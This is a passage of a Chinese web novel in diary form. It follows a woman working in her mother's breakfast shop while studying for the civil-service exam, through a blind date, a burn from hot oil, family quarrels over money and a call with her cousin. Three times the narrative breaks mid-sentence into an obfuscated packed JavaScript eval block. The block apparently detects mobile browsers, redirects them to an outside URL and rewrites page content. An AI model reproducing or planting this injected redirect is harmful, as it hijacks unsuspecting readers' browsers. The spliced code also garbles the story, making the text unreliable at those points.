别人买也好,不买也好,这是强求不来的。赚多赚少随缘,我对自己说。日子总是一天天地过,还是要放宽心,日子虽不会多好,却也坏不到哪里去。我不会一直耗在店里,就目前的情况,我还有机会。我还算年轻,现在要做的,是抓紧时间努力备考,让自己考试的结果更好一些。 一忙起来,屋内会接连响起到账的提示音,之前在网上看见段子,就有人偏好这种氛围,一来的确是真金白银,再来还觉得喜庆。可在我看来,什么都不做,却有钱不停到账,若是打通这种坐享其成的路子,人生后患无穷。付出多少,收获多少,这样才让我觉得踏实。 不论我现在如何,我还是相信,我会有生活的勇气,就当作是再次开局难,我和自己说,我可以的。 《指挥家》中安东尼娅被养母扫地出门,钢琴键位散落在台阶,她拎着行李箱找到罗宾,罗宾告诉她,每个人都会有绝望的时候。 “别绝望,除掉身上灰尘,从头开始。”罗宾告诉安东尼娅。 “你不能只在赢的时候才自信。”我亦看到过这样一句话。 我和自己说:要有自信,就像有强大的动力一样;自信不是靠反馈积累的,而是生活的勇气。 如果我害怕吃苦,如果我没有吃过苦,那就现在吃。我要活着把这个难关渡过,我没有这么低的下限。 现在不吃苦,十二月之后还要接着吃苦;好好吃苦,把考试拿下,不然明年还得一年。这两个月苦一些,把课程上完,之后,也会轻松一些。但凡做事,开头总是要难一些,免不了要加倍努力;越往后,事情顺了,也会变轻松。做,就不会焦虑。害怕的情绪,比害怕的事情更恐怖。 过去十年,每每碰到不好的结局,这并非意味着我人不行;遇到事与愿违,再正常不过。即使结果不好,这也不代表我这个人很糟糕。善因没结善果固然可惜,可这不意味着做错。“命里有时终须有,命里无时莫强求”,这句话,我一直知道。而且,我并没有all in,最后关头,我出来了。 每天在店里炸面窝就是在吃苦,早上四点半起床,一直忙到八点过后,明明在吃苦,为何却认为自己怕吃苦? 下午的时候,姜斯童发来一张图片,问我有没有时间和他语音。 “你说。”我并不推托。 “我这边有个项目,要用虚幻做,你帮我参考下。” “嗯。” 姜斯童去年和几个朋友合伙开了间公司,接一些建模的外包。他和我也算在同一个圈子,涉及到虚幻,有时会找我问点大概。 “是这样的,他们要在聊天应用上做一个小程序,就是商圈的地标导航。倒也不复杂,点击选中,给出文本提示就行。” “依你看,这个东西好做吗?” “唔……就是一个关卡里摆几个模型唦!点击的时候有选中态,弹出文本框提示,是吧?” “对。好做吗?你能不能一个人做出来?”他问道。 “我没做过咧!” “要是用虚幻开发一个这样的应用,倒也不难。但要移植到小程序,一般不得用虚幻做。” “那要是做成应用呢?”他进而问道。 “我现在不想碰虚幻了。面试的时候光是准备,我都觉得心慌。” “我也没有时间,早上在店里帮忙,学习的时间都不够。我现在一心准备考公。”我坦诚道。 他安静了一会,说道:“行吧。没事,我再找其他人问问。” “那就这样啊!”他说。 “好。”我应声道。 下午去到店里,我欲到对面买小葱,却被妈妈喊住。 “团购的便宜,我已经买好了。” 她从冰柜拿出小葱,却蔫得不成样子。 “来,我同你一起剥,这样快。每天看你在这里磨磨蹭蹭,又不好说你什么。”她开口道。 “你晓不晓得我昨天晚上干什么去呢?”她问道。 “不知道。” 她闻言一哼。 “颜盐昨天不用去杉湖,我就和她约着在小鱼伯伯屋里咵天。” “哦。” “你晓不晓得,钱鹄他们家,在武陵还有一套房子,正在还贷。就在内河那里。” 内河在杉湖周边。上次打照面,颜盐绑着头绳,穿着一条长裙,却是棉麻布料,看上去颇为踏实肯干。我本以为她是个厚道人,岂料也是拿民生牟利之流。 “那他家条件也不怎么样,内河的房价又不贵。而且,就她们家那个收入,钱鹄的工资大抵只顾得上自己,怕不是全家一起省吃俭用才攒得下首付,又把收入的大部分拿来供楼。” 怪不得钱鹄抱怨他家的饭菜太素了。 我话说得直接,妈妈闻言也是一愣,许是想不到还有这个看待事情的角度。 “咳咳,”她清了下嗓子。 “还有吔!他屋里那辆车,不便宜吧?”妈妈问我。 “三十万出头吧!毕竟是SUV,比我的要贵一点。” “那个车是钱鹄说要买的,也是他选的。他妈妈二话没说,立马给他买了。” “和你不一样,车也在他名下。”这心窝戳得,我又不是钻营取巧之人。 “全款还是贷款?”我问道。 “贷款买的。但是别个两年就还清了啊!他妈妈蛮有意思,一还完,就跑到小鱼伯伯屋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301326|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和她炫耀。” 妈妈的车买得早,又是全款,她并不清楚其中的门道。经销商不希望顾客全款买车,特意在贷款方案上让利。很多人会选择免息或者低息的最低贷款方案,一方面,拿到了优惠;另一方面,也不必因大额支出而捉襟见肘。车贷大多是两年起步。 “就是有个话,说得人不蛮舒服。”妈妈话锋一转。 “什么话?”我来了兴趣。 “颜盐说她从来不去吃酒,听见别人在那聊自己屋里孙子就来气。” “你来说,一般不都是眼红别人家娶了媳妇!她倒是怪,听不得别人家抱孙子!” “那你没有问她为什么这样?”我追问道。 妈妈打了个哈哈,把话题绕开。 “你们这场谈话,内容蛮丰富啊!”我总结道。 “那你和她交了什么底?”我问道。 “我有什么不能说的!不就是我和你爸爸离了婚,他把钱都搞没得了。” 行,不遮掩,也不会落人话柄。 “那你说了我什么咧?” “能说什么咧?不就是你没有工作,现在在店里帮忙,准备考公。” “其他的咧?”我追问道。 “你无外乎是有些乱花钱,以后不这样不就行了!” 她含糊其词,替我辩解道。 至于我之前用过精神类药物,妈妈许是隐下了这事。 这件事可大可小。往轻了说,已经停药了;可要是往重了讲,哪天我一个想不开,好好的相亲对象突然自杀了,谁知道这会给他们家带来多大阴影?这样一来,倒是有些对不住他们。 “哦,颜盐她还问你有没有交社保。” 颜盐这人,精明可见一斑。她看得清晰又长远,不在于我能否找到工作,为自己的小家做出哪些贡献,而是晚年之后,我会不会成为他儿子的累赘。 一方面,对这场相亲,虽还没有确定关系,颜盐却颇有些势在必得;另一方面,她能从我这里获得什么,而我在她眼中,又是怎样的一个人,须得论明。 不论是过去还是现在,对于喜欢的人,自己喜欢的到底是什么,我一定要想个明白。而喜欢我的人,看上的究竟是哪一点,亦至关重要。 就社保这个问题,想必,在颜盐眼中,我不过是个找不到工作回家啃老的无用之人。即便如此,她这般推动相亲,看来,不在于日后我能在婚姻中作出哪些贡献,当娘家助力不再,剩下的只我个人的价值,而这,无外乎生孩子、操持家务,在她百年之后,替她照顾她儿子。 呵,她倒是个实在人,要求也不高。可这种价值,与我是谁又有什么关系呢?生理但凡健康,不都能做到吗?若是把人比作一物件,也就这般了。 “那我没有交社保呀,这事不就黄了?” “不就是社保嘛,我给你交就是了。”妈妈嘴上答应得爽快。 言者无心,听者有意,我对自己目前的定位是在店里帮工抵债,可除去社保,在店里帮工,又何尝不是一份工作? 我现在就在上班。每天四点半起床,每月到手一千,虽然没有月休,可每日也只用工作半天。爸爸替我承担了贷款;妈妈为我提供了工作,并推进相亲,希望我日后有人相伴;我自己则准备考公。方方面面,我被兜得稳稳当当。 我突然感到些许安心,事情发展至今,看上去倒也不坏。 “这个葱好烂呀,收拾起来,忒费劲了。”我和妈妈说道。 “它便宜咩!”妈妈并不介意。 钱鹄不似之前,下班后便发来消息。及至回家,还发了一张隔着单元门拍狗的照片。 “我刚在路上看到一只大狗,逗了几下,没想到它竟一直跟着我到家楼下。” “我赶紧进去楼道,把门关上。” “和你家狗有点像吧!”他感慨道。 每次看到这种不牵绳的,不知道是走丢,还是散养。可不管是哪一种,都叫人不忍直视。 52. 2025年7月,第28周 52 [2025年7月,第28周] 每天早上一来,店里干干净净、整整齐齐。妈妈制作豆皮前,我会替她做一些准备工作,而她,亦会在我到店之前,把酱油泵通上电,打开封口机。在我的认知里,环境尚能让人感到熟悉。 备考让我感到焦虑。可同样是考试,我并不是一上高中就学完了全部知识,理综整合,也是准高三才有。如果说从过往的经验中我能明白什么道理,那就是现在的我,太过心急。 想着能不能成的心,多于下午劝解自己努力坚持好好备考的心。我有没有认准考公这个目标?我扪心自问道。那么,坚持下去,结果就不会太差。 炸完花生米,已换过一次油,不过,锅里的油又有些浅了。妈妈不论成本,以己度人,店里用的是非转基因大豆油,因为是商用特渠,一瓶足足有二十升,与人小腿齐平。 妈妈往锅里加起油来毫不吝啬,眼见离锅边不足半拃,我连忙叫停,她却仍旧往里倒。 “锅里能够多漂几个面窝不好嘛?炸起来你也轻松呀!”她在那想当然。这一大锅油就是抬进抬出都费劲。 当她把米浆抬出来,我整个人都傻眼了。之前用来盛米浆的,虽说是个盆,口径却不大;现在这个,口径差不多,却是个大肚的坛子。 “这哪里炸得完呐!”我已觉得过分。 “哎哟,抱怨什么唦!这不是多加了油嘛!我跟你换着炸,没得事的。” 话虽这么说,她把两个面窝勺都递给我,“一起用,轮流舀米浆,一下就炸完了。” “店里还有事,我先上去了。”说完,她撇下我一人在室外。 上有政策,下有对策。我把稍小的窝勺放在一旁,照常炸起了面窝。 妈妈得空下来视察,看到锅里只一个窝勺,气不打一处来。 “要你两个窝勺一起用,你为什么非要和人对着干!” 我有些憋气,不想理会。 她不依不饶,用另一只窝勺舀起米浆放入锅中,“接着!”她硬是这般要求。 待我接过,她抢走原在我手中的窝勺,把面窝挑起,又舀起一勺米浆。 “就这么做,听到没有!” “说话!”她咄咄逼人。 “嗯。”我应了一声。 算了,早点炸完,我也能早些回家。和她计较也无用。我在心里宽慰自己。 可油锅就那么大,油位又这么高,米浆甫一入锅,多少会溅起一些油,一个闪避不及,就在我的手腕燎了一下。表皮层立马分离,组织液迅速流入空腔,手腕一下起了好几个水泡。一个许是被溅到,有两厘米那么长;另一个则鼓得高高的,就像蒸锅里的馒头透过蒸汽孔洞的小鼓包。 实在太过刺痛,我放下手里的窝勺,一只手紧握另一只手的手腕,有那么一会,疼得说不出话。 妈妈见状,猜出我被烫伤,却仍在嘴硬:“锅里的油多,你就小心一些呀!” “这下烫到了吧?自己不小心,能怪哪个咧!” 我紧闭眼睛,手腕的疼痛光是忍着,就叫人难以顾上其他。 她顺势把火调小,回到了店里。 俗话说,伤痛让人清醒,此话不假。即使情理上反应不及,身体的痛苦却再真实不过。缓过劲,我看着腕上的水泡,很有几分心疼自己。把脱兔带回家,出门遛狗,免不了摔跤磕碰,两只手的手背上已有好几处伤疤。我想着,狗狗的寿命不长,这下也好,可以睹疤思狗。可被热油烫到这种地步,还是头一回。 我把锅里的面窝拣到架上,关了火,去对面的药房买药。回来时,妈妈站在锅边,不冷不热地又说了几句。 “我还当你去哪里了,一声不吭地走了。” 她看着我手上的药膏,问道:“去买药了?让我看一下,多大的水泡唦!” 我没理她。她走到另一侧,这才得见。随之开口道:“哎哟,我还以为多大的事!搽了药,没个几天,就好了!不用当回事!” “还特地去买药。你要是和我说,屋里还怕找不到!哪个没有被烫过咧?大惊小怪。” 见我没说话,“生气了?”她试探道。 “倒把自己看得金贵!”她一面离开,一面嘲讽。 我已有些看清。人被烫到,她的第一反应不是给我买药,一如我失眠提出想看中医,她却推辞店里离不了人。 她的心里就算有我,那也是仇人的位置,认与不认,很重要吗?我之所以在店里帮工,只是为了抵债。算了,事已至此,谁叫我拿了她的钱呢? 回到家中,脑子不太清白,在洗澡前挑破了水泡。创口碰到水,又是一阵透心地疼。不过,我的耐受力一向强,挑破水泡也是为了自己好,就算现在不碰水,晚上也得经历这一遭。 一向少有人联系我,以至于短时间内频繁有人找我,还会激起心中不安。三点左右,爸爸打来电话。 “我马上要去建始避暑,我给你转四千块钱,算作七、八月份的生活费。之后的,到了时间再给你。” 我知晓他的经济状况。即使是之前,我也从未主动和他开口讨要过生活费。顶多让他帮我买些肉和菜。 他主动提出给我生活费,我不明所以。 “房子抵押的手续办完了,钱我也一次性取出来了。我这里有张卡,每次存款的额度有上限。我马上就要走,钱一时半会存不完,你帮我做这个事,行不行?” 原来是这样。 “我不想掺合这些事。”我直截了当地拒绝。 “又不是要你做有危险的事,存个钱而已,这么小的忙,你都不愿意帮呐?” “你找别个帮你,不是一样的。”我答道。 “大伯不行吗?孃孃也可以呀!” “他们跟我一起去。” “你这回贷了多少?”我问道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301327|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “六十万。” “哈哈,你拿什么还咧?”我想不明白。 “先还利息,最后归本。”我不懂其中意思,也不想弄清楚。 “二三年的时候,你要我和你一起搞投资,不找工作,我当时拒绝你了,记不记得?”我开口道。 “嗯。” “我的原话是,我好不容易出来了,再有这样的事,我一概不碰。所以,我帮不了你。” “至于生活费,你爱给不给。”我说得清楚。 “这是两码事。存个钱而已,对你有什么影响?”他仍未放弃。 “你晓得我在吃药吧?我前几天连觉都睡不了,接你的电话,我都在心慌。” “你能不能放过我?这些乱七八糟的事情,坠在我的心头几年了?” “你还想把我逼到什么程度?看到我没个人样,你没有半分不忍心吗?” “好好好,我再不提了,好吧?生活费还是照常给你,我说到做到。” “我去找别个,又不是多大的事。你好好的啊!” 不待他多言,我挂断电话。泪珠在眼眶打转,我真的不明白,自己到底做错了什么,要经历这一切。 生而为人,没有人对我的出生抱有期待。六亲缘薄,若是作为外姓被表亲无视,倒也说得过去;若是作为女孩不为堂亲喜爱,倒也不算稀奇。可溪辞亦是女孩;我在奶奶家还是最小的那个。都说女孩子娇气,可我被打的时候,哭过几次?都说小孙子惹人疼,可我这是哪门子的小孙子?若不是他人随口提及,我这辈子都不会有自觉。 人生路上三十有二,我何曾被人关心在意过?若说我百般不堪,那也是我活该;可偏偏,我有几分落人下乘?追求事业的这些年,妈妈如同蛀虫,耗尽自己的积蓄,又在外婆家啃蚀;爸爸年轻时独善其身,年纪大了反而壮心不已、倾尽家财,晚节不保,指日可待。如今,我的事业倒是盘活了,可身后大厦将倾,争与不争,意义何在?我两眼发黑,一切只觉索然无味。 我一心为自己谋将来,却落得这番田地,实在是荒唐可笑! 收拾好情绪,我着手整理词语辨析的错题。沉浸其中,心绪很快平静了下来。 手机响起,爸爸发来消息:“钱转你了啊!” 我思考了一番,给他发去消息:“跟我买点药。” “你说。”他很快回复。 “生脉饮,和丹参保心茶。” 半个小时后,他发来图片,并一条消息。 图片上是生脉饮和丹参破壁饮片。 “药房没有那个茶,店员推荐了另一种,说是一样的效果。每样两盒,够喝一个月,喝完后再说。” “好。” “我明天有事回榕潭,到时候把药带给你。” “好。” 不用和妈妈开口买药,卡里有了钱,之后每月还有生活费,这让我的飘零之感稍有减轻。 53. 2025年7月,第28周 53 [2025年7月,第28周] 五点的时候,钱鹄发来一个视频。 “今天公司测试无人机,这是我拍的。” “你知道我平时还做什么工作吗?”他问道。 他又发来一张图纸。 “商铺招商的时候,别人过来选位置,总要一个参考。这张图就是我画的。” “哦。” “他们选好了位置,还要让我带过去看看,一天天的,到处跑不停。” 过了一回,他转发了一条新闻。 “公务员还是舒服,可以提前下班接孩子。”他点评道。 想必他对公务员有什么误解。除去在杉湖办事,临近下班,也没必要特意赶回榕潭,爸爸从未迟到早退过。 “哪有这么好的事。”我戳破他的幻想。 “上回听你说,你表哥生了两个?”他提起这茬。 “嗯。” “他家条件不错呀!” “又不要他出钱照顾。”我回复道。 “他老婆负责生孩子,奶奶出钱,妈妈出力,爸爸接送,哪个的福气有他好!” “呵呵。”钱鹄陪笑。 “普通人家生一个,能好好培养出来,就不容易了!”我感慨道。 “你想生几个?”我问他。 “我觉得生一个就够了。”他附和道。 晚些时候,他又发来一个视频。 我在D站刷到过这个视频。男团主唱破音后,底下尖叫声四起,身旁的队友诧异地望过去,主场缓慢地闭上眼睛在似是在心中为自己默哀。另一位队员举起话筒意欲替他遮掩、继续唱下去,却忍不住地喷笑了出来。 “我看过这个。” “这个视频无论看多少回,都觉得好笑。”钱鹄点评道。 “确实。” “我现在在听这首歌。”他发来一条链接,是EXO的《人鱼的眼泪》。 知道EXO的时候,归国四子已解约结束,在国内发展得如火如荼。说起来,EXO的歌,我一首都没听过。 这首歌的旋律显然是R&B,但歌词太过直白。我扫了一眼,不太明白钱鹄的意图。如若他对我有好感,这好感来得十分莫名其妙。说是刻意为之,反倒形容贴切。 吃完饭返回楼上,再次收到钱鹄的消息,是一张图片,红色格子桌布上,是一片汹涌的、油亮亮的焦红。 “我今天和朋友约着去理发,自然美发屋,知道这家吗?” 这些年经济不景气,商场的快剪店免洗直剪,反倒生意火爆。与自然美发屋同期的连锁理发店基本都销声匿迹了,它却仍在上庸随处可见,后起之秀多在大型商场,与它也不冲突。 “刚剪完头发,我现在在外面吃饭,选的川菜馆子。” “哦。” “剪的寸头?”我问道。 “那肯定不是,我最讨厌寸头了。稍微剪短了一些。” 我有些失望。 “要给你发照片吗?”他主动提起。 “不用不用。”我连忙拒绝。 “你的头发烫过吧?”我问道。 “看得出来?我还染了个颜色。”相当明显了好嘛! “和这位一起?” “嗯!过年的时候,他想烫头,就拉我一块。” “有个伴还挺好。” “你的头发是不是染过?”他问道。 年初的时候我染了个深紫色,每回洗头都掉色,固色护发素也不顶用,只管了一两个月。就是掉色前,只在灯光直射下能分辨出一二。他倒是眼尖心细。 “嗯。” “我就说。”他感慨道。 我从未这样和人密集地闲聊,当我以为已到极限时,他又发来消息。 “我现在在外面散步。好热的天呐!”此时接近九点,这一行为,我难以理解。 “你想不想去水上世界?这个天气正好玩水。”他倒是直接。 “去下饺子吗?” “呵呵,也是,肯定人蛮多。” “你有没有想玩的?”他问我。 “太热了,哪里都不想去。” “那到时候再说吧。”他留有余地。 到了晚上十点,他仍源源不断地发来消息。 “我要睡了。”我打断他。 “你睡好早呀!”他感慨道。 “因为我要早起。” “呵呵,也是。我每天呀,不到一两点,根本睡不着。” “为什么会这样,失眠吗?”我问道。 “中午午休有三个小时,没得事做,我就在那里睡觉。” “而且,吃完晚饭,我爸妈走后,我也会眯一会儿,一下子就睡过头了。” “你下班后那么长时间,都干些什么?”我问道。 “玩游戏、刷视频呀,就这些。” “没想过考证?” “我同事倒是在考二建的证。我们单位工资和考证挂钩,有一些证是必考的。虽然我不打算换工作,可为了那几百块钱考个证也不划算。”他咸鱼得心安理得。 我回复了一个熄灯的表情。 “晚安!”他发来一个表情。 第二天在店里,不忙的时候,妈妈又和我谈起了家常。 “你晓不晓得我昨天做什么去了?”她问我。 “我是你肚子里的蛔虫吗?”一句话把她怼得哑口无言。 “成天猜猜猜的,猜中有奖!”我真是受够了这种开头。 “一大早上跟个炮仗似的,也不晓得哪里惹到你了。”她讪讪道。 积攒的怒气脱口而出,人也舒畅了几分。 “昨天晚上,我和小鱼伯伯帮颜盐搬东西去了。” “我就是想和你说一声。” “你跟她搬东西?凭什么?” “我不是有电动三轮?估计她想着叫上我,可以少运几回咧!” “她们家在家家老房那排,还有一间屋咯!” “我信了你的邪吔,你就这么喜欢房子呀!你自己没有吗?有住的不就够了吗?” “那不一样,你没去过她家在集上的老房,后面好大一个院子,种满了菜!” “哪有人嫌房子多咧!”她说得理直气壮。 “齐安的房子,你惦记了一辈子,又去住过几回?惦记别人的东西,落不到好,你怎么就不长记性!” “哎哟,你爱聊不聊!每回总点着别人的痛处说!” “本来就是!她一个男方家,不给你帮忙就算了,反倒要你去给她帮忙,这哪里说得过去咧!” “你看起来蛮贼的个人,可一涉及到利益,就像钻进了钱眼一样!做起事来完全不像有脑子的!”真是昏招频出。 “就算不着你看,我和颜盐以前也是同事嘛!”她狡辩道。 “你零二年就下岗了吧?她一个药房的,要论同事关系,也是和小鱼伯伯。这么些年,我从你那里听过她的事吗?” 下岗名单的大字报上,妈妈的名字赫然写在第一行第一列,为着这事,她在家里闹了好长一段时间。 “你被人卖了还帮人数钱咧!”我越说越上头。 “你看你这人,就不晓得把人往好处想!我把你昨天烫伤的事告诉颜盐,别人不晓得多关心你!” “就连钱鹄他爸爸,和你连面都没有见过,都说让颜盐来替你炸面窝,要你回家休息。” 将心比心,妈妈把我受伤的事当作谈资,反倒是别人父母在口头献起殷勤。 “你就这么确定这个事能成?我只是同意继续接触。而且,哪里有人一次相亲就成功了的?”我诘问道。 “能成的,师父都说了,十月份有喜事!” “他还说我能考上研究生咧!我考上了吗?” “你自己考不到,哪能怪别人咧!” 我跟她完全讲不了道理。只要她信的,就是对的;就算结果不好,那也是各人自己的原因。就冲她这逻辑,要不是钱少,被骗的只会更多。 她提到昨晚去帮忙,面上很有几分得意。回过头,我意识到不对,皱起眉头,追问道:“大舅妈昨天也跟着去了吧?” “多个人做得快唦!” “我没呆多长时间,运了两趟就回去了,屋里还一堆事要做。” “哦,把大舅妈留在那里是吧?” “她又没有别的事。” 好家伙,人情送了,自己半点不吃亏。 “小鱼伯伯会跟你们一起?”那人可不是个吃亏的主。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301328|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“她和我一起走的。” “哦,划着就大舅妈一个人在那里干苦力?你怎么这么聪明呀!”我忍不住夸起了她。 许是自知理亏,她噤了声。 没多时,颜盐来到了店里。这一回,她仍带着口罩,不过,说话前,取了下来。好家伙,妈妈之前说她龅牙齿,还算客气了。她那一嘴牙,就是电影版《哈利波特》第一部里的斯莱特林魁地奇球队追球手马库斯·弗林特来了也得甘拜下风。当年他将鬼飞球朝着门环投去,却被奥利弗·伍德一个倒挂金钩截杀,电视上被气得呲牙咧嘴的画面,至今叫人印象深刻。 “昨天多亏了你帮忙,这是我家种的竹叶菜,才摘下来的,炒什么都好吃!” “那敢情好,”妈妈接过来问我,“你要不要带点上去?” 我摇了摇头。 她们坐在方桌边,谈起了家常,我也听了一耳朵。 “我不是骑自行车嘛!有一回车胎漏了气,你老娘隔壁,老葛,他不正好补胎嘛,我就把车停在他家门口。” “他做起事来也利索,一下子就找到漏气的地方,把胎补好了。” “我当时没带钱,就说晚一点跟他把钱送过去。” “回到屋里做了饭,歇了一下,就把这事给忘了。下午的时候想起来了,就拿着钱包又跑了一趟,把钱给他。” “事情到这里,不就结束了嘛!哪晓得我屋里婶子,有一天问我,是不是在老葛那里补了胎,忘了给钱。” “她说她打老葛门口过,被他拉着要钱!她不知道情况,不好替我说话,想到补胎也要不了多少钱,就替我给了。回头碰到我,才有心问了我几句。” “你晓得我这个人,不得占别人便宜的,向来一码归一码。” “老葛这个人,真是糊涂!明明给了钱,还要第二回!搞得人说也说不清白,只能认下这个亏!” “补胎能要多少钱?就是忘了,一般人还不是算了!偏偏他,拉着人要,还四处去讲!” “我哪里会做这样的事咧,当天就把钱给他了哇!个人呐,年纪大了,不讲道理,记性还差!” 我算是听明白怎么个事了。老葛头常年独居,性子确实有些古怪,说是死犟一老头也不算冤枉他。可他不差钱,而且,正是那些认死理的人,较少占他人便宜,不然名声早就臭了。老葛头在下街有间两开的楼房,外婆买下其中一间,做了隔断。他一人住,用不了那些层,一楼现在还在出租。 妈妈待人热情,与外婆一脉相传。小时候,外婆就要我和表哥称呼他葛爷爷。他也很讲人情味,在便利店买完面条,还来店里照顾妈妈生意。 “把面条煮软些哈!”回回不忘嘱咐。临走,还夸拌面味道好。就是不买早点,也来店里坐过几回。 “他这个人是这样,不太说得通。我屋里老大老了以后,估计和他一个样。” “碰到这种人,还不是算了!”妈妈开解道。 “我先上去了。”和妈妈打完招呼,我离开店里。 我已了然,妈妈看中钱鹄的,无非两点:一,家中有房产;二,老实好拿捏。 她在以旁观者的角度替我相看对象,局中人的感受与死活,与她何干?那些打不到她身上的痛处,她一股脑无视。因此,那些正常人相看时看重的品德、学识、相貌和事业,在她眼中如无物。她只需确认,日后有自己的发挥空间即可。 言谈间,颜盐并不是个善茬,可妈妈又能看出几分呢? 她以为有些东西已是囊中之物。从不去想,凭什么要别人让着她;在他人眼中,自己又是不是那块即将到嘴的肥肉呢?她把自己择得太过干净,她许是看得明白,这事若成,于她,只有得到而不存在失去。 人贵自知。妈妈可以在家中胡搅蛮缠,却选择在外面低三下四。她心里不是不明白,有些人完全可以不带她玩。而那些她伸手够得着的,若是被她当作破烂,又谈何失去?借着她,其他一些别有用心的人,也能伸手伺机,行妄为之事了。妈妈分不清里外。也许她清楚自己想要的是什么,但行事上,却让人看不懂。 这世上,只有自己拥有的,有朝一日,也许会有失去的论调。而那些未得到的失去,天知地知,不明的人,一辈子都不会明白。可惜她不会得到,可惜她不会后悔。 54. 2025年7月,第28周 54 [2025年7月,第28周] 迷迷糊糊间,手机铃声响起。我本不欲理会,清醒过来的意识,让我从床上坐起。 不到十一点,睡了也有一两个小时。发来消息的是溪辞。 “你现在有空吗?” “我刚下班,稍微收拾一下就去停车场。路上我们聊聊?” 她分作两条发送。 我扣了扣后脑勺,回复道:“可以。” 去到厨房,淘了米,把内胆放进电饭煲,又把四季豆抽筋切丝。 回到房间,溪辞打来视频电话。 “哈喽!”视频接通,她开口道。 “哈喽。”我有样学样。 “今天真是累死我了,现在才离开工位。”唔,八点也不早了。 “吃了吗?”我问道。 “和同事一起点了沙拉。” 沙拉听上去有些少。“回家再吃点垫一下。”我建议道。 “再说吧。”她答道。 “上个星期放假,我还出去玩了的。” “哦。” “你咧?这一周过得怎样?”她问道。 “我在跟人相亲。”我一直觉得这事很稀奇。 “哦?是个什么样的人?同学吗?” “不是,认得的人介绍的。” “哪个学校毕业的呀?” “你有没有听说自考专科?” 她卡了一下,“不是自考本科吗?”她疑惑地问。 “是吧,我也是头一回听说。一般都是自考本科。” 她语顿了。 “哎哟,学历也不是那么重要,不都是为了找工作。”她替人挽尊道。 “你看中他哪一点?”她问得直接。 “屋里情况相互之间了解咧。”不是这样,也不会有人介绍。 “其他的咧?” “他蛮新鲜,每天找着我聊天。”这倒是实话。 “还有吗?”她继续问。 “不抽烟?”我试探着回答。 “可是,你好像抽烟吧?” “抽得不多,一年一回,一次一包。” 得知爸爸欲将我的车拿去抵押,第二天,在停车场,我抽了整整一包烟才堪堪稳住情绪,能够把车开回家。溪辞那年回国,为了佐证说明问题的严重性,我吐露了自己的这一行为。 “你有没有听过一句话?每次想不开的时候,就去抽一包烟。这样,身体的一部分就代替自己死去了。” “人总有想不开的时候,没得办法,就只能抽烟咧!”我说得无辜。 “这样也会有瘾吧?”她提出。 确实,《山丘之王》里,汉克发现鲍比抽烟,硬逼着他抽了一条烟,以为这样可以让儿子戒掉恶习,谁曾想,反而让鲍比染上了烟瘾。 我有些接不住。 “唉。”她叹了口气。 “不过,江璟也抽烟。上回去她家,我在饭桌上看到电子烟了。” “拖地的时候,她还抽了几口。” 溪辞接受能力还是很强的。 “这我还真不知道。” “那你备考怎么办?”溪辞问道。她本科学校的考试周名副其实,那段时间绝对联系不上她。 “能怎么办?同时进行呗!” “其实吧,之前也有人跟我介绍相亲。”就这个话题,溪辞开始分享自己的经历。 “孃孃还给我介绍过,把对方的联系方式推给我了。” “你去见了?” “那不得,聊了几句而已。双方兴趣都不大,家人介绍的,意思下得了。” 多么明事理的家人和相亲对象呀! “我朋友也跟我介绍过,我跟你说,那回真的超尴尬!” “嗯?我听着在。” “见面之前,只晓得那个人家里很有钱,还看了照片。你也晓得,都是处理过的,看着还行。” “我朋友说他有一米八,我想着,都这个体格了,稍微爱点俏,外貌也不至于差到哪里去。他人要是不错,就算这事不成,交个朋友也可以唦!” “因为不认得嘛,单独见面不太好,所以咧,就想着大家一起出去玩的时候,打个照面,先接触一下。” “那天我们租了两辆车,人多嘛,又是长途,就想着租大一些的车,坐着舒服。” “但是只租到一辆路虎,我偏偏被安排在后面那辆。” “本来我提出由我来开车。你没坐过我的车吧?嗯,当时是琼雪和江璟陪我练车。反正,我开车技术还可以,这些年,也没有出过交通事故。” “但是咧,有个男生,他偏要和我抢。他坚持由他开,说女生坐在后面休息就行。别人都这样了,我又不好拂他面子。” “后座除了我之外,还有两个男生,体型都不小,那就只能是我坐在他们两个中间。” “睡觉是不用想的,一个不小心碰到别个,那多不好意思。” “这样也就算了,可人坐在后面,特别难受。你说那个抢着当司机的,我晓得怹想做绅士,我也不拦他,可技术也要过得去呀!美国这边车速本来就高,怹油门也踩得重,可道路上还有其他车子,这个时候,就开慢一些咧!他偏不,猛地一下就踩刹,时不时就来上这么一出。坐在两边的,就算不系安全带,车窗上面也有扶手呀!可怜我坐在中间,两个手牢牢地撑在前座上。” “从小到大,我很少晕车的!那回真是把我晃得想吐。” “我当时蛮想跟那位老哥讲,您这个技术,就老老实实地坐在后面咧!我技术不说多好,至少不会把车子上面的人,全都弄得不舒服。” “以前和朋友一起去黄石公园,还不是在机场租车,一路上大家轮流着开。说到底还是不熟,玩笑话都不能随便说。” 